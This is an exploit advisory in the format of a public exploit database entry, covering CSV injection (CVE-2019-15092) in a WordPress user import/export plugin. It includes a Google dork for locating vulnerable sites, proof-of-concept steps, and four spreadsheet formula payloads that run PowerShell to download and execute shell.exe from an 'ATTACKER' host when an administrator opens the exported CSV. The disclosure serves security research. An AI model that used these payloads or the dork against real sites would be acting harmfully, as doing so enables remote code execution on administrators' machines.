WordPress Plugin Import Export WordPress Users 1.3.1 – CSV Injection
# Exploit Title: Wordpress Plugin Import Export WordPress Users <= 1.3.1 - CSV Injection # Exploit Author: Javier Olmedo # Contact: @jjavierolmedo # Website: https://sidertia.com # Date: 2018-08-22 # Google Dork: inurl:"/wp-content/plugins/users-customers-import-export-for-wp-woocommerce" # Vendor: WebToffee # Software Link: https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.1.zip # Affected Version: 1.3.1 and before # Active installations: +20,000 # Patched Version: update to 1.3.2 version # Category: Web Application # Platform: PHP # Tested on: Win10x64 # CVE: 2019-15092 # References: # https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/ # https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787 # 1. Technical Description # Wordpress Plugin Import Export WordPress Users version 1.3.1. and before are affected by Remote Code # Execution through the CSV injection vulnerability. This allows any application user to inject commands # as part of the fields of his profile and these commands are executed when a user with greater privilege # exports the data in CSV and opens that file on his machine. # 2. Vulnerable code # The function do_export() from WF_CustomerImpExpCsv_Exporter class does not check if fields beggings # with (=, +, -, @) characters so the fields name, surname, alias or display_name are vulnerable to CSV Injection. # 3. Proof Of Concept (PoC) # 3.1 Login with subscriber user and change the fields First name, Surname and Alias with payloads. # 3.2 Login with a high privileges user and export all users to CSV. # 3.3 When the user with high privileges logs in to the application, export data in CSV and opens the # generated file, the command is executed and the shell will run open on the machine. # 4. Payloads =cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0 +cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0 -cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0 @cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0 # 5. Timeline # 15, august 2019 - [RESEARCHER] Discover # 15, august 2019 - [RESEARCHER] Report to Webtoffee support # 16, august 2019 - [DEVELOPER] More information request # 16, august 2019 - [RESEARCHER] Detailed vulnerability report # 19, august 2019 - [DEVELOPER] Unrecognized vulnerability # 22, august 2019 - [RESEARCHER] Public disclosure |